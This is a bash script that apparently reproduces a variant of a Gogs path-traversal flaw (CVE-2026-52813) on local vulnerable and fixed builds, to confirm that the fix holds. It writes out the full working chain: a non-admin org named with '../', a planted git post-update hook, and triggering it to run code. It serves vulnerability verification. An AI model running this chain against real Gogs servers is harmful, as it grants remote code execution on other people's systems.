#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-52813 VARIANT — Gogs path traversal via NON-ADMIN org creation
# =============================================================================
# Affected : Gogs < 0.14.3   (verified vulnerable: v0.14.2)
# Fixed    : Gogs 0.14.3     (verified fixed:    v0.14.3)
#
# This is a VARIANT of the reproduced CVE-2026-52813 chain. The original
# reproduction (bundle/repro/reproduction_steps.sh) created the traversal
# organization through the ADMIN-only endpoint:
#     POST /api/v1/admin/users/:user/orgs   (admin.CreateOrg)
#
# This variant uses the NON-ADMIN, self-service endpoint that exists in both
# v0.14.2 and v0.14.3:
#     POST /api/v1/user/orgs                (org.CreateMyOrg, reqToken() only)
# which binds api.CreateOrgOption{UserName binding:"Required"} (NO AlphaDashDot).
# On v0.14.2, CreateOrgForUser performs NO inline validation and repoutil.UserPath
# does NOT pathutil.Clean the name, so a "../data/tmp/local-r/<wid>/nested"
# organization is accepted (HTTP 201) and the nested bare repository is written
# OUTSIDE the repository ROOT, inside another repository's local worktree. The
# rest of the chain (push executable post-update hook via Git smart-HTTP, web
# upload sync materialises it into the nested bare repo, git-receive-pack triggers
# the hook as the Gogs user -> RCE) is identical to the original reproduction.
#
# Because the variant is performed by a NON-ADMIN authenticated user (any token),
# it proves the vulnerability is reachable with LOWER privilege than the original
# admin-based reproduction — matching the RCA's "low-privileged authenticated
# user" impact claim.
#
# On v0.14.3, CreateOrgForUser rejects the traversal name inline (AlphaDashDot ->
# HTTP 422) AND repoutil.UserPath pathutil.Clean neutralises "..", so no nested
# repository is created and no RCE occurs. => NOT a bypass of the fixed version.
#
# Exit code semantics:
#   0 = variant reproduced on the FIXED version (true bypass)
#   1 = variant only works on the vulnerable version (alternate trigger), OR
#       no variant reproduced. (This script exits 1: alternate trigger only.)
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VV_DIR="$ROOT/vuln_variant"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$VV_DIR" "$ARTIFACTS"
cd "$ROOT"
: > "$LOGS/vuln_variant_steps.log"
exec > >(tee -a "$LOGS/vuln_variant_steps.log") 2>&1
log(){ printf '[%s] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$*"; }

# ---------- locate the repo (reuse durable project cache when prepared) ----------
CACHE_REPO=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_REPO="$(python3 -c 'import json,os; c=json.load(open("'"$ROOT"'/project_cache_context.json")); print(os.path.join(c.get("project_cache_dir",""),"repo") if c.get("prepared") else "")' 2>/dev/null || true)"
fi
REPO="${PRUVA_REPO:-${CACHE_REPO:-$ARTIFACTS/gogs/repo}}"
PROJECT_CACHE_DIR="$(python3 -c 'import json; c=json.load(open("'"$ROOT"'/project_cache_context.json")); print(c.get("project_cache_dir",""))' 2>/dev/null || true)"
GOCACHE_DIR="${PROJECT_CACHE_DIR:-$ARTIFACTS}/.gocache"
GOMODCACHE_DIR="${PROJECT_CACHE_DIR:-$ARTIFACTS}/.gomodcache"
mkdir -p "$GOCACHE_DIR" "$GOMODCACHE_DIR"

# ---------- runtime manifest writer ----------
manifest(){ python3 - "$ROOT" "$1" "$2" <<'PY'
import json,os,sys
root,ok,note=sys.argv[1:4]; conf=ok=='true'
arts=['logs/vuln_variant_steps.log']
for role in ['vuln','fixed']:
    for kind in ['gogs','http','git','state']:
        p=f'logs/vv_{kind}_{role}.log'
        if os.path.exists(os.path.join(root,p)): arts.append(p)
    p=f'vuln_variant/rce_marker_{role}.txt'
    if os.path.exists(os.path.join(root,p)): arts.append(p)
json.dump({
  'entrypoint_kind':'api_remote',
  'entrypoint_detail':'Variant: NON-ADMIN authenticated user creates a path-traversal organisation via POST /api/v1/user/orgs (org.CreateMyOrg, api.CreateOrgOption with no AlphaDashDot) -> nested bare repo written outside repository ROOT inside another repo local worktree -> executable post-update hook planted via Git smart-HTTP + web upload sync -> git-receive-pack on planted bare repo executes hook as Gogs user (RCE). Fixed 0.14.3 rejects inline (422) + pathutil.Clean.',
  'service_started':conf,'healthcheck_passed':conf,'target_path_reached':conf,
  'runtime_stack':['gogs','sqlite3','git-smart-http','web-upload','git-receive-pack','git-hooks'],
  'proof_artifacts':arts,
  'notes':note
},open(os.path.join(root,'vuln_variant/runtime_manifest.json'),'w'),indent=2)
PY
}
cleanup_pids=()
cleanup(){ for p in "${cleanup_pids[@]:-}"; do kill "$p" 2>/dev/null || true; kill -9 "$p" 2>/dev/null || true; done; }
trap 'rc=$?; cleanup; [ $rc -eq 0 ] || manifest false "variant run failed (rc=$rc)"' EXIT

# ---------- ensure Go toolchain (>=1.25) ----------
ensure_go(){
  if command -v go >/dev/null 2>&1 && go version 2>/dev/null | grep -qE 'go1\.(2[5-9]|[3-9][0-9])'; then return 0; fi
  if command -v apt-get >/dev/null 2>&1; then
    sudo apt-get update -qq >/dev/null 2>&1 || true
    sudo apt-get install -y golang-go >/dev/null 2>&1 || true
  fi
  if command -v go >/dev/null 2>&1 && go version 2>/dev/null | grep -qE 'go1\.(2[5-9]|[3-9][0-9])'; then return 0; fi
  local tgz="/tmp/go1.25.0.linux-amd64.tar.gz" inst="/tmp/gotool"
  if [ -x "$inst/bin/go" ] && "$inst/bin/go" version 2>/dev/null | grep -qE 'go1\.(2[5-9]|[3-9][0-9])'; then export PATH="$inst/bin:$PATH"; return 0; fi
  log "installing Go 1.25 from tarball"
  curl -sSL --retry 3 -o "$tgz" "https://go.dev/dl/go1.25.0.linux-amd64.tar.gz" || \
    curl -sSL --retry 3 -o "$tgz" "https://dl.google.com/go/go1.25.0.linux-amd64.tar.gz"
  rm -rf "$inst"; mkdir -p "$inst"
  tar -C "$inst" --strip-components=1 -xzf "$tgz"
  export PATH="$inst/bin:$PATH"
  go version
}

ensure_repo(){
  if [ -d "$REPO/.git" ]; then return 0; fi
  mkdir -p "$(dirname "$REPO")"
  git clone https://github.com/gogs/gogs "$REPO"
}
ensure_repo
git -C "$REPO" fetch --all --tags --prune >/dev/null 2>&1 || true
VULN_COMMIT="$(git -C "$REPO" rev-parse v0.14.2)"
FIXED_COMMIT="$(git -C "$REPO" rev-parse v0.14.3)"
log "vuln_commit=$VULN_COMMIT fixed_commit=$FIXED_COMMIT repo=$REPO"

ensure_go
export GOCACHE="$GOCACHE_DIR" GOMODCACHE="$GOMODCACHE_DIR" GOPATH="${PROJECT_CACHE_DIR:-$ARTIFACTS}/.gopath"
mkdir -p "$GOPATH"

build_gogs(){ # name commit logfile
  local n="$1" c="$2" lf="$3"
  if [ -x "$ARTIFACTS/$n/gogs" ]; then
    local bv; bv="$("$ARTIFACTS/$n/gogs" --version 2>/dev/null | head -1)"
    log "reusing existing $n binary ($bv)"
    echo "$bv" > "$lf"; return 0
  fi
  git -C "$REPO" checkout -f "$c" >/dev/null 2>&1
  log "building $n at $(git -C "$REPO" rev-parse --short HEAD)"
  ( cd "$REPO" && go build -tags 'sqlite cert' -o "$ARTIFACTS/$n/gogs" . ) > "$lf" 2>&1
  "$ARTIFACTS/$n/gogs" --version > "$lf" 2>&1
  log "$n built: $(tail -1 "$lf")"
}
build_gogs vuln "$VULN_COMMIT" "$LOGS/vv_build_vuln.log"
build_gogs fixed "$FIXED_COMMIT" "$LOGS/vv_build_fixed.log"
VBIN="$ARTIFACTS/vuln/gogs"; FBIN="$ARTIFACTS/fixed/gogs"

# restore repo to fixed ref (the state repro left / leave fixed checked out)
git -C "$REPO" checkout -f "$FIXED_COMMIT" >/dev/null 2>&1 || true

# ---------- helpers (same proven logic as the original reproduction) ----------
sql(){ python3 - "$1" "$2" <<'PY'
import sqlite3,sys
for r in sqlite3.connect(sys.argv[1]).execute(sys.argv[2]): print('|'.join('' if x is None else str(x) for x in r))
PY
}
ins_token(){ python3 - "$1" "$2" "$3" <<'PY'
import sqlite3,sys,hashlib,time
db,uid,t=sys.argv[1:4]; con=sqlite3.connect(db)
cols=[r[1] for r in con.execute('pragma table_info(access_token)')]
vals={'uid':int(uid),'user_id':int(uid),'name':'t','sha1':t,'sha256':hashlib.sha256(t.encode()).hexdigest(),'created_unix':int(time.time()),'updated_unix':int(time.time())}
use=[c for c in cols if c in vals]
con.execute('insert into access_token (%s) values (%s)'%(','.join(use),','.join('?' for _ in use)),[vals[c] for c in use]); con.commit()
PY
}
json_kv(){ python3 - "$@" <<'PY'
import json,sys; a=sys.argv[1:]; print(json.dumps({a[i]:a[i+1] for i in range(0,len(a),2)}))
PY
}
enc(){ python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1],safe=""))' "$1"; }
csrf_from(){ python3 -c 'import re,sys; s=open(sys.argv[1],errors="ignore").read(); m=re.search(r"name=\"_csrf\" value=\"([^\"]+)",s) or re.search(r"name=\"_csrf\" content=\"([^\"]+)",s); print(m.group(1) if m else "")' "$1"; }
status_of(){ grep HTTP_STATUS: "$1"|tail -1|cut -d: -f2; }

appini(){ # dir port
  local d="$1" p="$2"
  mkdir -p "$d/custom/conf" "$d/data/tmp/uploads" "$d/log" "$d/repositories" "$d/home"
  cat > "$d/custom/conf/app.ini" <<EOF
RUN_USER = $(id -un)
RUN_MODE = prod
[server]
PROTOCOL = http
HTTP_ADDR = 127.0.0.1
HTTP_PORT = $p
DOMAIN = 127.0.0.1
EXTERNAL_URL = http://127.0.0.1:$p/
OFFLINE_MODE = true
APP_DATA_PATH = $d/data
DISABLE_SSH = true
START_SSH_SERVER = false
[repository]
ROOT = $d/repositories
SCRIPT_TYPE = bash
[repository.upload]
ENABLED = true
TEMP_PATH = $d/data/tmp/uploads
ALLOWED_TYPES = */*
FILE_MAX_SIZE = 10
MAX_FILES = 10
[database]
TYPE = sqlite3
PATH = $d/data/gogs.db
SSL_MODE = disable
[security]
INSTALL_LOCK = true
SECRET_KEY = pruva-variant-secret-${RANDOM}
[auth]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
ENABLE_REGISTRATION_CAPTCHA = false
REQUIRE_EMAIL_CONFIRMATION = false
[log]
MODE = console,file
LEVEL = Trace
ROOT_PATH = $d/log
EOF
}
start_gogs(){ # bin dir port logfile
  local bin="$1" d="$2" p="$3" lf="$4"
  appini "$d" "$p"
  ( cd "$d" && GOGS_CUSTOM="$d/custom" HOME="$d/home" "$bin" web --config "$d/custom/conf/app.ini" ) > "$lf" 2>&1 &
  local pid=$!; cleanup_pids+=("$pid"); echo "$pid" > "$d/gogs.pid"
  for i in $(seq 1 150); do kill -0 "$pid" 2>/dev/null || return 1; curl -fsS "http://127.0.0.1:$p/" >/dev/null 2>&1 && return 0; sleep .2; done
  return 1
}
stop_gogs(){ [ -f "$1/gogs.pid" ] && { local p; p=$(cat "$1/gogs.pid"); kill "$p" 2>/dev/null || true; sleep .3; kill -9 "$p" 2>/dev/null || true; }; }
api(){ local m="$1" u="$2" t="$3" b="$4" o="$5"; curl -sS -X "$m" -H 'Content-Type: application/json' -H "Authorization: token $t" ${b:+--data "$b"} "$u" -w '\nHTTP_STATUS:%{http_code}\n' >> "$o"; }
login(){ local p="$1" u="$2" c="$3" out="$4"; curl -sS -c "$c" "http://127.0.0.1:$p/user/login" > "$out.lp" 2>/dev/null || true; local csrf; csrf=$(csrf_from "$out.lp"); curl -sS -b "$c" -c "$c" -X POST -d "user_name=$u" -d password=PruvaPass123 -d "_csrf=$csrf" "http://127.0.0.1:$p/user/login" > "$out.lpost" 2>/dev/null || true; }
upload_sync(){ # label fname base_url cookie logsdir
  local label="$1" fname="$2" base="$3" ck="$4" ld="$5"
  curl -sS -b "$ck" -c "$ck" "$base/_upload/master/" > "$ld/${label}_page.log" 2>/dev/null || true
  local csrf; csrf=$(csrf_from "$ld/${label}_page.log")
  local uv; uv=$(curl -sS -b "$ck" -c "$ck" -H "X-Csrf-Token: $csrf" -F "file=@/tmp/$fname;filename=$fname" "$base/upload-file" 2>/dev/null | python3 -c 'import json,sys
try: print(json.loads(sys.stdin.read()).get("uuid",""))
except Exception: print("")' 2>/dev/null)
  curl -sS -b "$ck" -c "$ck" -X POST -d "_csrf=$csrf" -d "tree_path=" -d commit_choice=direct -d "commit_summary=$label" -d commit_message= -d "files=$uv" "$base/_upload/master/" -w '\nHTTP_STATUS:%{http_code}\n' > "$ld/${label}_commit.log" 2>&1 || true
  echo "$uv"
}

# ---------- one full variant attempt (NON-ADMIN user + NON-ADMIN org endpoint) ----------
# run_one <role:vuln|fixed> <bin> <port>
run_one(){
  local role="$1" bin="$2" port="$3"
  local d="$ARTIFACTS/gogs-cve-2026-52813/vv-run-$role"
  local gl="$LOGS/vv_gogs_$role.log" hl="$LOGS/vv_http_$role.log" gitl="$LOGS/vv_git_$role.log" sl="$LOGS/vv_state_$role.log"
  local ld="$LOGS/vv_upload_$role"; mkdir -p "$ld"
  rm -rf "$d"; mkdir -p "$d/client"
  : > "$hl"; : > "$gitl"; : > "$sl"
  log "=== variant run_one $role (port $port) ==="
  start_gogs "$bin" "$d" "$port" "$gl" || { log "$role: gogs failed to start"; stop_gogs "$d"; return 1; }

  # NON-ADMIN user (no --admin) -> proves low-privilege reachability
  local user="vv-$role-$$-$RANDOM"
  local tok="0123456789abcdef0123456789abcdef01234567"
  stop_gogs "$d"
  ( cd "$d" && GOGS_CUSTOM="$d/custom" HOME="$d/home" "$bin" admin create-user --config "$d/custom/conf/app.ini" --name "$user" --password PruvaPass123 --email "$user@e.test" ) > "$LOGS/vv_create_user_$role.log" 2>&1 || true
  # sanity: confirm the user is NOT an admin
  local db="$d/data/gogs.db"
  local uid; uid=$(sql "$db" "select id from user where name='$user'")
  local is_admin; is_admin=$(sql "$db" "select is_admin from user where id=$uid")
  ins_token "$db" "$uid" "$tok"
  start_gogs "$bin" "$d" "$port" "$gl" || { log "$role: gogs failed to restart"; stop_gogs "$d"; return 1; }
  printf 'http://%s:PruvaPass123@127.0.0.1:%s\n' "$user" "$port" > "$d/home/.git-credentials"
  log "$role: non-admin user=$user uid=$uid is_admin=$is_admin"

  # 1. create writer repo (non-admin, own repo)
  api POST "http://127.0.0.1:$port/api/v1/user/repos" "$tok" "$(json_kv name writer)" "$hl"
  local wid; wid=$(sql "$db" "select id from repository where lower_name='writer' and owner_id=$uid")
  local localcopy="$d/data/tmp/local-r/$wid"
  local marker="$VV_DIR/rce_marker_$role.txt"; rm -f "$marker"
  local base="http://127.0.0.1:$port/$user/writer"
  local ck="$d/cookie"; login "$port" "$user" "$ck" "$hl"
  printf "dummy1" > /tmp/dummy1.txt; printf "dummy2" > /tmp/dummy2.txt
  log "$role: writer id=$wid localcopy=$localcopy"

  # 2. push README to writer (Gogs Git smart-HTTP)
  local wc="$d/client/writer"
  HOME="$d/home" git -C "$d/client" clone "http://$user:PruvaPass123@127.0.0.1:$port/$user/writer.git" writer > "$gitl" 2>&1 || true
  echo "init" > "$wc/README.md"
  HOME="$d/home" git -C "$wc" add -A >> "$gitl" 2>&1
  HOME="$d/home" git -C "$wc" -c user.email=a@b -c user.name=a commit -qm init >> "$gitl" 2>&1
  HOME="$d/home" git -C "$wc" push origin HEAD:master >> "$gitl" 2>&1 || true

  # 3. first web-upload sync -> Gogs materialises writer local worktree (clone)
  upload_sync "first" "dummy1.txt" "$base" "$ck" "$ld" >/dev/null

  # 4. pull --rebase, plant EXECUTABLE nested/rce.git/hooks/post-update, push to writer
  printf '#!/bin/sh\n{\n  echo PRUVA_GOGS_RCE_EXECUTED\n  echo "variant=nonadmin role=%s"\n  echo "user=$(id -un) uid=$(id -u) gid=$(id -g)"\n  echo "cwd=$(pwd)"\n  date -u\n} > %q\nexit 0\n' "$role" "$marker" > /tmp/post-update-vv-$role
  chmod +x /tmp/post-update-vv-$role
  HOME="$d/home" git -C "$wc" pull --rebase origin master >> "$gitl" 2>&1 || true
  mkdir -p "$wc/nested/rce.git/hooks"
  cp /tmp/post-update-vv-$role "$wc/nested/rce.git/hooks/post-update"
  chmod +x "$wc/nested/rce.git/hooks/post-update"
  HOME="$d/home" git -C "$wc" add -A >> "$gitl" 2>&1
  HOME="$d/home" git -C "$wc" -c user.email=a@b -c user.name=a commit -qm "plant post-update hook" >> "$gitl" 2>&1
  HOME="$d/home" git -C "$wc" push origin HEAD:master >> "$gitl" 2>&1 || true

  # 5. VARIANT: create traversal org via NON-ADMIN endpoint POST /api/v1/user/orgs
  #    (org.CreateMyOrg binds api.CreateOrgOption{UserName:"Required"} -> no AlphaDashDot)
  local evil="../data/tmp/local-r/$wid/nested"; local eenc; eenc=$(enc "$evil")
  api POST "http://127.0.0.1:$port/api/v1/user/orgs" "$tok" "$(json_kv username "$evil" full_name x description x)" "$hl"
  local orgst; orgst=$(status_of "$hl")
  # create repo rce under that org (POST /api/v1/org/:org/repos -> CreateOrgRepo, ownership-based, non-admin OK)
  api POST "http://127.0.0.1:$port/api/v1/org/$eenc/repos" "$tok" "$(json_kv name rce)" "$hl"
  local repost; repost=$(status_of "$hl")
  local nested_exists="no"; [ -d "$localcopy/nested/rce.git" ] && nested_exists="yes"

  # 6. second web-upload sync -> materialise post-update into nested bare repo
  local hook_planted="no"
  if [ "$nested_exists" = "yes" ]; then
    upload_sync "second" "dummy2.txt" "$base" "$ck" "$ld" >/dev/null
    if [ -x "$localcopy/nested/rce.git/hooks/post-update" ]; then hook_planted="yes"; fi
  fi

  # 7. trigger: real git-receive-pack on the planted bare repo
  local trig="no"
  if [ "$nested_exists" = "yes" ]; then
    local rc="$d/client/rce"; rm -rf "$rc"; mkdir -p "$rc"
    ( cd "$rc" && HOME="$d/home" git init -q && echo trigger > trigger.txt && HOME="$d/home" git add -A && HOME="$d/home" git -c user.email=a@b -c user.name=a commit -qm trigger )
    HOME="$d/home" git -C "$rc" push "$localcopy/nested/rce.git" HEAD:master >> "$gitl" 2>&1 || true
    [ -s "$marker" ] && trig="yes"
  fi

  {
    echo "variant=nonadmin_org_create role=$role version=$($bin --version 2>&1 | head -1)"
    echo "nonadmin_user=$user is_admin=$is_admin writer_id=$wid evil=$evil"
    echo "org_create_endpoint=POST /api/v1/user/orgs (CreateMyOrg, NON-ADMIN)"
    echo "org_create_status=$orgst repo_create_status=$repost"
    echo "nested_repo_exists=$nested_exists (outside $d/repositories)"
    echo "hook_planted=$hook_planted rce_triggered=$trig"
    echo "marker=$marker marker_exists=$([ -s "$marker" ] && echo yes || echo no)"
    echo "--- localcopy tree ---"; find "$localcopy" -maxdepth 4 -type f 2>/dev/null | head -40
    echo "--- nested hooks ---"; ls -la "$localcopy/nested/rce.git/hooks/" 2>/dev/null
    echo "--- post-update ---"; cat "$localcopy/nested/rce.git/hooks/post-update" 2>/dev/null
    echo "--- marker ---"; cat "$marker" 2>/dev/null
    echo "--- git log tail ---"; tail -8 "$gitl"
  } > "$sl" 2>&1

  log "$role: nonadmin is_admin=$is_admin org=$orgst repo=$repost nested=$nested_exists planted=$hook_planted rce=$trig"
  stop_gogs "$d"

  # return 0 if this role's expected outcome was observed
  if [ "$role" = vuln ]; then
    [ "${is_admin:-0}" = "0" ] && [ "$orgst" = "201" ] && [ "$nested_exists" = "yes" ] && [ "$hook_planted" = "yes" ] && [ "$trig" = "yes" ]
  else
    [ "$orgst" != "201" ] && [ "$nested_exists" = "no" ] && [ "$trig" = "no" ]
  fi
}

# ---------- run variant on vulnerable + fixed ----------
VULN_OK=0; FIXED_BLOCKED=0
if run_one vuln "$VBIN" 33191; then VULN_OK=1; else log "vuln variant did not reproduce"; fi
if run_one fixed "$FBIN" 33192; then FIXED_BLOCKED=1; else log "fixed variant not blocked (possible bypass!)"; fi

cat > "$VV_DIR/variant_proof_summary.txt" <<EOF
CVE-2026-52813 VARIANT — non-admin org creation (POST /api/v1/user/orgs)
vulnerable_commit=$VULN_COMMIT (v0.14.2)
fixed_commit=$FIXED_COMMIT (v0.14.3)
entrypoint=POST /api/v1/user/orgs (org.CreateMyOrg, reqToken only, NON-ADMIN)
vuln_nonadmin_rce=$VULN_OK            # 1 = traversal org accepted (201) + nested repo outside ROOT + executable hook planted + RCE marker written, by a NON-ADMIN user
fixed_blocked=$FIXED_BLOCKED          # 1 = traversal org rejected (422), no nested repo, no RCE
bypass=$([ "$VULN_OK" = "1" ] && [ "$FIXED_BLOCKED" = "0" ] && echo yes || echo no)
observed_impact=$([ "$VULN_OK" = "1" ] && echo code_execution || echo none)
EOF
cat "$VV_DIR/variant_proof_summary.txt"

if [ "$VULN_OK" = "1" ] && [ "$FIXED_BLOCKED" = "0" ]; then
  # variant reproduced on FIXED version -> true bypass
  log "VERDICT: BYPASS — non-admin variant reproduced on fixed v0.14.3"
  manifest true "BYPASS: non-admin variant reproduced on fixed version"
  trap - EXIT; cleanup; exit 0
elif [ "$VULN_OK" = "1" ] && [ "$FIXED_BLOCKED" = "1" ]; then
  # alternate trigger on vulnerable only, fixed version blocks it -> NOT a bypass
  log "VERDICT: ALTERNATE TRIGGER on vulnerable only (non-admin entry point); fixed v0.14.3 blocks it -> NOT a bypass"
  manifest true "alternate trigger (non-admin) on vulnerable; fixed blocks it (not a bypass)"
  trap - EXIT; cleanup; exit 1
else
  log "VERDICT: variant not reproduced on vulnerable (vuln_nonadmin_rce=$VULN_OK)"
  manifest false "variant not reproduced on vulnerable"
  trap - EXIT; cleanup; exit 1
fi
